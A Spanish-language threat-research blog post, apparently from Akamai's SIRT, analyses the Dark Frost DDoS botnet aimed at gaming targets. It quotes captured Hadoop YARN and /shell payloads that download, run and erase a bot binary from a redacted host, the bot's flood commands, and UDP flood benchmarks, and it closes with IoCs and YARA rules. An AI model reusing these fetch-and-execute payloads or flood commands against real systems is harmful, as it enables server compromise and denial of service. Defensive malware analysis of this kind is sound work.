El enigma Dark Frost: un perfil de autor de botnets inesperadamente frecuente
Editorial y comentario adicional de Eliad Kimhy y Tricia Howard
Resumen ejecutivo
El equipo de respuesta a incidentes e inteligencia en seguridad (SIRT) de Akamai ha identificado una nueva botnet, denominada "Dark Frost", dirigida al sector de los videojuegos.
La botnet Dark Frost, diseñada a partir de Gafgyt, Qbot, Mirai y otras cepas de malware, se ha ampliado afectando a cientos de dispositivos.
Gracias a la ingeniería inversa y a la aplicación de parches al binario del malware, nuestro análisis determinó el potencial de ataque de la botnet en aproximadamente 629,28 Gbps con sus ataques de inundación UDP.
En esta entrada del blog, investigaremos al autor de la botnet. Este ciberdelincuente especialmente peligroso ejemplifica un perfil de amenaza con el que hay que tener cuidado: relativamente poco sofisticado, pero eficaz.
Nuestro análisis profundiza en los motivos de los ataques, su eficacia y cómo la legislación ha tratado casos similares.
Introducción
Las botnets sirven para innumerables propósitos y motivaciones. En el mundo del cibercrimen, los operadores de botnets pueden optar por utilizar sus botnets para cualquier cosa, desde criptominería hasta distribución de spam. Con el aumento de las botnets de alquiler, el nivel de esfuerzo necesario para lanzar un ataque de denegación de servicio distribuido (DDoS) ha disminuido considerablemente. Ahora, cualquiera puede optar por llevar a cabo un ataque por cualquier motivo, siempre que pueda pagarlo, con aplicaciones que van desde lo más mundano a lo más complejo.
En los últimos años, la barrera de entrada para quienes desean construir su propia botnet, en lugar de simplemente alquilar una, también ha bajado significativamente, lo que supone una amenaza significativa para las víctimas desprotegidas. Aunque organizar a cientos de dispositivos para que ejecuten tareas sin el consentimiento de sus propietarios puede parecer complicado, la facilidad de participar en este delito puede resultar engañosamente sencilla.
Aunque tendemos a pensar en los operadores de botnets como delincuentes sofisticados y organizados, la disponibilidad del código fuente a partir de cepas de malware anteriormente exitosas y la generación de código de IA cada vez más eficaz permiten a aquellos que tengan unos mínimos conocimientos crear su propio malware. Estas botnets “sin florituras” siguen siendo eficaces, pese a su falta de sofisticación, lo que no hace más que agravar el problema.
Perfil del atacante
La fascinante historia de la botnet Dark Frost nos presenta a un perturbador atacante cuya tasa de éxito y nivel de originalidad no coinciden. Este conglomerado de botnets se creó utilizando código robado de varias familias de malware populares (Mirai, Gafgyt y Qbot), lo que ha permitido al atacante llevar a cabo ataques bastante eficaces contra el sector de los videojuegos .
Durante este tiempo, se pudo ver al atacante presumiendo de sus proezas en las redes sociales, aprovechando la botnet para participar en triviales enfrentamientos online e incluso dejando firmas digitales en sus archivos binarios (Figura 1).
Este perfil de amenaza está más extendido de lo que se podría pensar. Con la suficiente determinación y unos conocimientos rudimentarios de programación, casi cualquiera puede convertirse en una amenaza real. Esto es especialmente cierto cuando hablamos de las personas más jóvenes que pueden o no entender las potenciales consecuencias de estas acciones. La confianza en su capacidad de vivir por encima de la ley tiende a eclipsar los parámetros legales establecidos, haciéndolos más peligrosos de lo esperado.
Nuestro objetivo no es llamar la atención sobre un ciberdelincuente específico de bajo nivel, un reconocimiento que probablemente desee. Por esta razón, decidimos omitir la información identificable de los datos de esta publicación. Nuestra principal razón a la hora de redactar este documento fue utilizar esta botnet en particular como caso práctico ejemplificante para destacar cómo incluso los atacantes con niveles de habilidad más bajos pueden infligir daños importantes.
Gran parte de la atención de los medios de comunicación se centra en los grupos de amenazas más graves que están lanzando ataques completamente novedosos contra sus incautas víctimas. La verdad, sin embargo, es que una gran parte del ecosistema de atacantes está compuesto por elementos relativamente poco sofisticados que tienen éxito simplemente dirigiéndose a recursos desprotegidos con ataques que se consideran “débiles” según los criterios de referencia actuales.
Campaña de infección
Nuestra primera muestra binaria de Dark Frost se recogió el 28 de febrero de 2023 en algunos de los señuelos de HTTP del SIRT (equipo de respuesta a incidentes e inteligencia en seguridad) de Akamai. El atacante se dirigía a las configuraciones erróneas de servidores Hadoop YARN (sin CVE asignadas) que permitían la ejecución remota de código (RCE). Aunque la muestra se llamaba "Botnet Darkness", este título ya se había asignado a una campaña de DDoS de alquiler en 2010. En consecuencia, teniendo en cuenta el nombre original y otras referencias binarias, hemos optado por llamarlo “Botnet Dark Frost”.
La explotación de esta configuración incorrecta de YARN ha ido creciendo en popularidad en los últimos tiempos, ya que no se le ha asignado una CVE y permite a los atacantes engañar al servidor para que descargue y ejecute su binario malicioso. Sin embargo, hay que señalar que esta vulnerabilidad existe desde 2014, lo que hace que esté lejos de ser una técnica novedosa. Sin embargo, teniendo en cuenta su nivel de éxito, probablemente seguirá desempeñando un papel importante en futuras botnets pese a su antigüedad.
El atacante comenzó enviando una sonda para ver si la aplicación era vulnerable a este tipo de ataque (Figura 2).
/ws/v1/cluster/apps/new-application
(empty)
Fig. 2: Una sonda para comprobar la vulnerabilidad
Tras recibir la respuesta de una instancia vulnerable conocida que le proporcionamos, el atacante consideró que el objetivo era adecuado y procedió a distribuir la carga maliciosa (Figura 3).
/ws/v1/cluster/apps
{"am-container-spec": {"commands": {"command": "cd /tmp ; pkill -9 roof ; get
http://xx.xx.xx.xx/roof; chmod 777 *; ./roof x86; rm -rf roof ; history -c"}},
"application-id": "application_xxxxxxxxx_xxxxx", "application-type": "YARN",
"application-name": "xxxxxxx"}
Fig. 3: Entrega de la carga maliciosa
También vemos otra solicitud HTTP que se está enviando, pero actualmente no sabemos para qué se podría utilizar (Figura 4).
Feb 12, 2023 @ 00:44:13.207
/users/sign_up/users/sign_in
-
Fig. 4: Solicitud HTTP adicional (uso desconocido)
Al mirar originariamente el archivo, el binario se llamaba “roof”, y aunque el hash no tenía reputación en varias herramientas de terceros, nuestra automatización interna creyó que era similar a Gafgyt (Figura 5). Esto podría deberse al hecho de que las IP de los atacantes distribuyeron una variante específica de Gafgyt en los meses previos a la distribución de los binarios de Dark Frost, pero lo más probable es que coincidieran con varias cadenas comunes en muchos programas maliciosos de hoy en día.
Después de pivotar en la dirección IP para buscar binarios adicionales, encontramos más llamados “roof”, cada uno atribuido al mismo autor con fecha de octubre de 2022. Esto nos proporcionó una nueva IP con la que trabajar, lo que a su vez nos dio pruebas de intentos adicionales de distribuir cargas (Figura 6; censurada por razones de sensibilidad racial).
/shell?cd%20/tmp%20%7C%7C%20cd%20/var/run%20%7C%7C%20cd%20/mnt%20%7C%7C%20cd%20/root%20%7C%7C%20cd%20/;%20wget%20http://xx.xx.xx.xx/XXXXX7%20;%20chmod%20777%20*%20;%20./XXXXX7%20arm7
Fig. 6: Evidencia de intentos adicionales de distribución de cargas
Probablemente estos intentos de infección no fueron la única vía para la ejecución de la carga. Sin embargo, aquí tenemos mucha información que recabar sobre la botnet y el atacante.
Ataques a videojuegos
Nuestra primera forma de análisis del archivo fue un simple comando “strings” que, inmediatamente, nos llevó al nombre del atacante responsable de este binario y otros. Utilizamos esta información para localizar numerosas cuentas de redes sociales que se atribuían la botnet y muchos ataques.
La botnet Dark Frost se ha dirigido principalmente a varios sectores de la industria de los videojuegos, tanto a empresas como a personas. Ha lanzado ataques DDoS a empresas de videojuegos, proveedores de alojamiento de servidores de juegos, streamers online e incluso otros miembros de la comunidad de los videojuegos con los que el atacante interactuó directamente.
A veces el motivo parece ser llamar la atención y, a veces, solo para tener la última palabra en una discusión. En cualquier caso, lo que hace este caso particularmente interesante es que el responsable de estos ataques ha publicado grabaciones en directo de sus ataques para que todos los vean. Diseccionar algunos ataques que tuvieron éxito nos dará una perspectiva de lo mucho que lograron.
Globos sonda para llamar la atención
Este atacante en particular se ha atribuido el mérito de varias actuaciones, con distintos niveles de evidencias. A veces simplemente publicaba en las redes sociales, afirmando ser el causante de diversos problemas, que en realidad no tendrían mucho peso. Sin embargo, ocasionalmente acompaña posteriormente estas afirmaciones con capturas de pantalla que documentan los resultados de sus ataques.
Un ejemplo de ello es su tuit sobre un ataque a servidores Plutonium (Figura 7), una plataforma de alojamiento de videojuegos de código abierto con servidores dedicados y compatibles con mod.
Tuits como estos son solo el principio. El atacante llega incluso a publicar vídeos completos de los ataques, como este a un servidor AmongUs (Figura 8).
Como se puede ver en las capturas de pantalla, este atacante ha estado activo durante cierto tiempo; podemos rastrearlo hasta mayo de 2022, cuando lanzó un ataque contra servidores de Rogue Company (Figura 9).
Aunque inicialmente parecía que el motivo era el uso propio, más tarde observamos que el atacante creaba cuentas adicionales, indicando su intención de iniciar un grupo de ataques. Esta teoría también se ve respaldada por el hecho de que se agregó un sitio web para realizar un seguimiento de las solicitudes (Figura 10) y un canal de Discord para facilitar los ataques a cambio de dinero (Figura 11).
Incluso encontramos que el ciberdelincuente se burlaba de algunas de sus víctimas y revelaba información de sus compradores (Figura 12).
Con este gran éxito, y planes de crecimiento, nos quedó claro que debíamos profundizar en esta amenaza.
Rascando en la superficie
Algunas de las preguntas más difíciles de responder a la hora de analizar el malware son quién es el responsable del mismo, quiénes son sus objetivos y qué tamaño tiene la botnet. Este ciberdelincuente respondió a las dos primeras preguntas por nosotros, así que vimos a ver si respondía también a la tercera pregunta, y con toda seguridad que lo hizo.
Según la Figura 13, una captura de pantalla realizada por el autor del malware en febrero de 2023, hay 414 dispositivos en la botnet, la mayoría de ellos arquitecturas ARMv4, siendo los dos siguientes más comunes MIPSEL y x86. La presencia de ARMv4 es particularmente interesante, ya que esta arquitectura es bastante anticuada. Este método de compilación específico de ARMv4 y ARMv7 es común porque ARMv4 es compatible con ARMv5 y ARMv6. La compilación tanto de ARMv4 y ARMv7 garantiza que el malware también pueda dirigirse a dispositivos más modernos que se ejecuten en una arquitectura ARMv7.
Este enfoque de doble objetivo ayuda al malware a crear una red más amplia, lo que aumenta sus posibilidades de infectar dispositivos con éxito.
A continuación, sabíamos que teníamos que sumergirnos en la cuestión de cómo se desarrollaba todo. Para ello, comenzamos a rastrear los registros de nuestros señuelos para extraer una carga y observar las vulnerabilidades empleadas.
Informe de originalidad: baja
Poder hacernos con el binario hubiera sido difícil si no fuera por nuestro sistema automatizado de recopilación binaria (Figura 14), porque en el momento de la investigación, la IP de distribución estaba inactiva.
Al recuperar la muestra, nos dimos cuenta de que estábamos ante una versión x86-64 (Figura 15) con stripping, lo que añadió algunas pequeñas molestias en el análisis inverso.
Sin embargo, había muchos otros indicadores, como la gestión de errores y los mensajes de uso, para orientarnos dentro del código (Figura 16).
En total se produjeron ocho ataques, algunos de ellos muy comunes, como UDP y TCP, pero otros bastante más curiosos, como zgoflood (Figura 17).
“Usage: !udp <target> <port> <time> <packetsize>",
“Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>",
“Usage: !onepacket <target> <port> <time>",
“Usage: !zgoflood <target> <port> <time>",
“Usage: !socketflood <target> <port> <time>",
“Usage: !junkflood <target> <port> <time>",
“Usage: !std <target> <port> <time> <packetsize>",
“Usage: !randflood <target> <port> <time> <packetsize>",
“Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>",
Fig. 17: Opciones de ataque de Dark Frost
Gracias a nuestros esfuerzos por invertir la muestra, pudimos cambiar el nombre de algunas de las funciones con stripping a aquello para lo que dedujimos que se utilizaron (Figura 18).
> afn fcn.rand_hex_flood 0x00400620
> afn fcn.std_flood 0x00400f80
> afn fcn.junk_flood 0x00401080
> afn fcn.socket_flood 0x004009d0
> afn fcn.tcp_flood 0x004016f0
> afn fcn.one_packet_flood fcn.00400770
> afn fcn.zgo_flood fcn.00400880
> afn fcn.udp_flood 0x00401450
> afn fcn.switch_on_attacks fcn.004020e0
> afn fcn.register_with_c2 fcn.00402ab0
> afn fcn.watchdog_keep_alive fcn.004001c0
Fig. 18: Funciones con stripping renombradas
A continuación, aplicamos un parche al binario (Figura 19) para que nuestra IP fuera el servidor de mando y control (C2). Puede ver que el nombre de la variable de la cadena es ahora diferente de su valor real. Es interesante observar que el C2 era también la IP de distribución de malware anterior a este cambio.
A continuación, dimos permisos de ejecución a la muestra y la ejecutamos para ver lo que sucedía. Al hacerlo, nos dimos cuenta de que potencialmente estábamos ante una variante de Qbot basada en Linux, como indican específicamente los mensajes C2 de la Figura 20.
El linaje exacto real de este malware es muy difícil de precisar, ya que gran parte del código fuente parece provenir de otras cepas de malware exitosas, con BASHLITE como antepasado común. BASHLITE también es conocido como Gafgyt, Lizkebab, PinkSlip, Qbot, Torlus y LizardStresser, lo que también aporta un poco de confusión a la mezcla.
Una publicación conjunta del CNCERT IoT Threat Research Team y NSFOCUS Shadow Labs de diciembre de 2022 analiza algunas de las operaciones anteriores específicas de Gafgyt y Mirai de este autor. A través de nuestra disección manual, sin embargo, la botnet Dark Frost parece ser un nuevo conglomerado centrado en DDoS de las ramificaciones de BASHLITE, con referencias directas a Qbot y muchas similitudes con Gafgyt. Una nota importante sobre Qbot en el contexto de este malware es que nos referimos al descendiente de BASHLITE “Qbot”, no al troyano bancario “Qakbot/Qbot”.
Hay diversas variantes de Qbot, Gafgyt y Mirai públicamente disponibles en GitHub que están específicamente destinadas a ataques DDoS, y creemos que el atacante tomó gran parte de su código de estas variantes y luego escribió su propio C2. Incluso con código robado y vulnerabilidades obsoletas, consiguió inactivar bastantes servicios online.
Para descubrir cómo, comenzamos la tarea de evaluar las capacidades de ataque.
Análisis comparativo de ataques
Utilizando otro terminal para escuchar en el puerto C2 especificado (TCP/420), pudimos superar sus comprobaciones de conexión C2, pero el programa daba un error (Figura 21).
El malware intenta informar del tipo de SO y la arquitectura de la muestra de malware que infectó el dispositivo (Figura 22). En este caso, estamos usando Arch Linux para detonar y diseccionar una muestra x86.
Después de superar con éxito los pasos de conexión y registro, el programa siguió saliendo pese a todos nuestros esfuerzos. Algunos mensajes de error útiles indicaron que la causa era la falta de un controlador guardián instalado en nuestro laboratorio de malware. Probamos muchas veces a omitir o realizar esta comprobación hasta que nos dimos cuenta de que, aunque aparentemente el proceso había detenido la ejecución en la línea de comandos, había iniciado un proceso secundario en segundo plano que estaba a la espera de recibir comandos.
Para probarlo, enviamos el latido de una variante de BASHLITE típica utilizando chats IRC para comunicaciones C2 (Figura 23).
Al enviar el latido, se devolvió la respuesta adecuada y ya estábamos listos para lanzar ataques contra nosotros mismos. El primer ataque que decidimos probar fue el udp_flood (Figura 24), que parecía ser una simple inundación de paquetes UDP con cada paquete relleno con “U” a la longitud especificada por el atacante.
Los ataques de “socketflood” y “junkflood” parecían también muy similares, enviando ambos una pequeña cantidad de contenido codificado en hexadecimal a través de TCP (Figura 25). Otra cosa a tener en cuenta es que la “socketflood” en realidad se muestra como “HOLD FLOOD”.
Al probar el comando C2 que habían enumerado como @c2, nos encontramos con un error de uso. Decidimos que probablemente querían decir !c2, así que lo probamos (Figura 26) y se envió un paquete individual.
Los ataques de onepacket, std, randfloody zgoflood también se lanzaron correctamente, pero en realidad no enviaron datos (Figura 27). Esto puede significar que estas características todavía están en desarrollo o simplemente no funcionan.
Como se puede ver, este malware está lejos de ser perfecto. También encontramos muchas otras señales que desencadenarían varias declaraciones de uso, pero que no provocarían ningún ataque, así como numerosos mensajes de odio mal escritos esparcidos por todo el programa. Sin embargo, el atacante tuvo éxito en muchos intentos, por lo que sabíamos que debíamos analizar exactamente cuánto daño podría causar realmente.
Daños potenciales
Empezamos a analizar comparativamente sus ataques y descubrimos que la inundación UDP era la más fiable y obtenía los mayores resultados. Utilizamos varios tamaños de paquete, comenzando por 1024 para ver cómo afectaba el tamaño a la cantidad total de datos enviados.
Como se puede ver en la Figura 28, ejecutamos este proceso en un puerto específico durante 10 segundos y, a continuación, recopilamos estos datos en tcpdump para analizar los resultados (Figura 29).
!udp xxx.xxx.xxx.xxx 1420 10 1024
Fig. 28: Análisis comparativo de los ataques
Los resultados con un tamaño de paquete de 1024 durante 10 segundos fueron de 1,4 millones de paquetes capturados, con un resultado total de 1,5 GB de datos. Esto supone 1,2 Gbps. Haciendo este mismo experimento, obtuvimos los siguientes resultados para varios tamaños de paquetes (Tabla 1).
Tamaño del paquete |
Paquetes capturados |
Tamaño total |
Resultados |
---|---|---|---|
256 |
1 818 558 |
545 M |
436 Mbps |
512 |
1 703 925 |
927 M |
741,6 Mbps |
1024 |
1 448 826 |
1,5 G |
1,2 Gbps |
2048 |
307 429 |
449 M |
359,2 Mbps |
Tabla 1: Resultados de Dark Frost por paquetes con exclusión de fragmentos
Al ejecutar así la prueba, lo que probablemente veríamos utilizar a un atacante con este paquete es cerca de 1024. Si se duplica, los resultados del paquete disminuyen debido a su fragmentación, lo que significa que solo observamos los paquetes que pasaban por el puerto especificado y no sus fragmentos. Para continuar correctamente con el análisis comparativo, tuvimos que iniciar estos ataques en el loopback para evitar la fragmentación y escuchar en la interfaz del loopback para volver a realizar la medición (Tabla 2).
Tamaño del paquete |
Paquetes capturados |
Tamaño total |
Resultados |
---|---|---|---|
1024 |
1 659 840 |
1,4 G |
1,12 Gbps |
2048 |
1 445 158 |
1,9 G |
1,52 Gbps |
4096 |
828 681 |
1,9 G |
1,52 Gbps |
8192 |
432 884 |
1,8 G |
1,44 Gbps |
Tabla 2: Resultados de Dark Frost incluidos los fragmentos de paquetes
Como se puede ver, el tamaño óptimo para obtener los máximos resultados es 2048. Después de este punto, el número de paquetes que se envían disminuye significativamente. Esto se debe probablemente al hecho de que los paquetes UDP se están rellenando con caracteres “U” para que tengan la longitud deseada y, probablemente, esta operación se ralentiza en tamaños más grandes.
Con 1,52 Gbps como nuevo índice de referencia de nodo único, podemos multiplicar este valor por el número de nodos de la botnet a fecha de febrero de 2023 (414) para obtener 629,28 Gbps.
¿Es ilegal un DDoS?
Es sorprendentemente común encontrar ciberdelincuentes aficionados o incluso “investigadores de seguridad” que crean y lanzan botnets para varios propósitos sintiéndose aparentemente intocables mientras lo hacen. Los usuarios de servicios de DDoS de alquiler añaden otra capa de falsa seguridad porque creen que no son los que cometen los delitos cuando lanzan sus ataques aprovechando estos servicios.
Si bien las pruebas y el descubrimiento son cruciales para un investigador en ciernes, es imperativo que esto se haga en entornos propios para evitar consecuencias legales (o fiduciarias). Ha habido una tendencia creciente de responsabilizar a los ciberdelincuentes de su papel en estos delitos, para sentar precedentes y eliminar cualquier duda sobre la legalidad de ofrecer estos servicios al público en general.
Un buen ejemplo de estos esfuerzos para luchar contra operaciones criminales similares es la Operación PowerOFF. Inicialmente lanzada en 2018, con acciones de seguimiento en 2022 y 2023, esta operación que está aún en curso se lleva a cabo en parte como una operación conjunta con la Oficina Federal de Investigación de los Estados Unidos (FBI), el Cuerpo Nacional de Policía de los Países Bajos, la Europol, la Bundeskriminalamt alemana, la Oficina Central Polaca de Lucha contra el Cibercrimen y la Agencia Nacional contra el Crimen del Reino Unido. El objetivo de esta operación es atrapar a numerosos sitios web que ofrecen servicios de DDoS de alquiler, de forma muy similar a lo que este atacante está intentando crear y comercializar. Esta lucha ha implicado hasta ahora múltiples detenciones, incautaciones,y mucha atención de los medios de comunicación.
Sin embargo, las organizaciones deben tener en cuenta que el simple hecho de que sea ilegal no significa que muchos otros no lo vayan a intentar, y les corresponde a ellas adoptar las contramedidas de defensa adecuadas para protegerse en consecuencia.
Conclusiones
El alcance que estos ciberdelincuentes pueden tener es impresionante pese a que sus técnicas no sean nada nuevas. Aunque no es el adversario más avanzado ni más desafiante, la botnet Dark Frost todavía ha conseguido acumular cientos de dispositivos comprometidos para cumplir su objetivo.
Los avances tecnológicos que la sociedad ha visto en los últimos años han ofrecido los medios para provocar consecuencias reales desde detrás de una pantalla. Con unos planes claros para ampliar sus operaciones, el ciberdelincuente que se encuentra detrás de la botnet Dark Frost ha demostrado su intención de infligir daños a una escala aún mayor con ganancias financieras como incentivo principal. Es crucial que la comunidad de la seguridad empiece a reconocer a ciberdelincuentes de bajo nivel como estos en sus inicios antes de que se conviertan en amenazas importantes.
Es importante señalar que cada ciberdelincuente no siempre es tan público con sus fechorías como la que hemos analizado aquí. Sin embargo, esta barrera de entrada bajada seguirá siendo explotada por numerosas vías nocivas, tanto para las organizaciones como para las personas.
Protéjase con Akamai
Aunque la botnet Dark Frost cuenta con ataques lo suficientemente fuertes como para detener muchos servicios online, aquellos que están protegidos por Akamai están bastante seguros. El SIRT continuará supervisando amenazas como estas y alertando a la comunidad de lo que observamos. Para obtener más información en tiempo real sobre las investigaciones de Akamai, síganos en Twitter.
IoC
Hashes
45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da8 (Dark Frost)
f4167f038ecc414bd074eedfb1189c104b24549d3363efc236356d383ec72c41 (mismo autor)
0bdafdd65d9a1a0ed59745a8ef6f6fc0a0f6262c495547c3e45e203921dcc2f2 (mismo autor)
9b328d2e3ffbac07458054c9e148b66e5d60c4aff95c1475ee975ba2f2d350bc (mismo autor)
beb8eedd346e0427ce65d8ac8c81a63922941d404ddb63b99f1e2adba3d1e769 (mismo autor)
IP
37.44.238[.]192
46.249.32[.]136
37.44.238[,]191
178.17.174[,]182
Rutas
http://<ip>/roof
Regla de Yara
Estricto
rule ___Dark_Frost_roof_strict {
meta:
description = "Dark_Frost - file roof"
hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
strings:
$s1 = "[37m] Usage: !socketflood <target> <port> <time>" fullword ascii
$s2 = "[37m] Usage: !junkflood <target> <port> <time>" fullword ascii
$s3 = "[37m] Usage: !randflood <target> <port> <time> <packetsize>" fullword ascii
$s4 = "[37m] Usage: !zgoflood <target> <port> <time>" fullword ascii
$s5 = "[37m] Usage: !std <target> <port> <time> <packetsize>" fullword ascii
$s6 = "[37m] Usage: !udp <target> <port> <time> <packetsize>" fullword ascii
$s7 = "[37m] Usage: !tcp <target> <port> <time> <packetsize> <flag(s)>" fullword ascii
$s8 = "[37m] Usage: !onepacket <target> <port> <time>" fullword ascii
$s9 = "32352e31302e3133392e3537" ascii /* hex encoded string '25.10.139.57' */
$s10 = "3135332e33312e3231332e3333" ascii /* hex encoded string '153.31.213.33' */
$s11 = "3135362e33332e3234312e35" ascii /* hex encoded string '156.33.241.5' */
$s12 = "[37m] Connected to C2 on attempt #" fullword ascii
$s13 = "[killer] finding and killing processes holding port %d" fullword ascii
$s14 = "[37m] Usage: @c2 <c2 ip> <c2 port> <seconds> <threads>" fullword ascii
$s15 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
$s16 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
$s17 = "[killer] new login: killing pid=%d" fullword ascii
$s18 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET C" ascii
$s19 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)" fullword ascii
$s20 = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)" fullword ascii
condition:
uint16(0) == 0x457f and filesize < 400KB and
8 of them
}
Indulgente
rule ___Dark_Frost_roof_lenient {
meta:
description = "Dark_Frost - file roof"
hash1 = "45639a534131448a822b3f2753753de74203076aaffc28e418b0b793e0c81da"
strings:
$s1 = "!zgoflood"
$s2 = “@c2 <c2 ip>”
$s3 = “Successfully registered[darkness.%s] :D”
$s4 = “ZGO Flooding”
condition:
any of them
}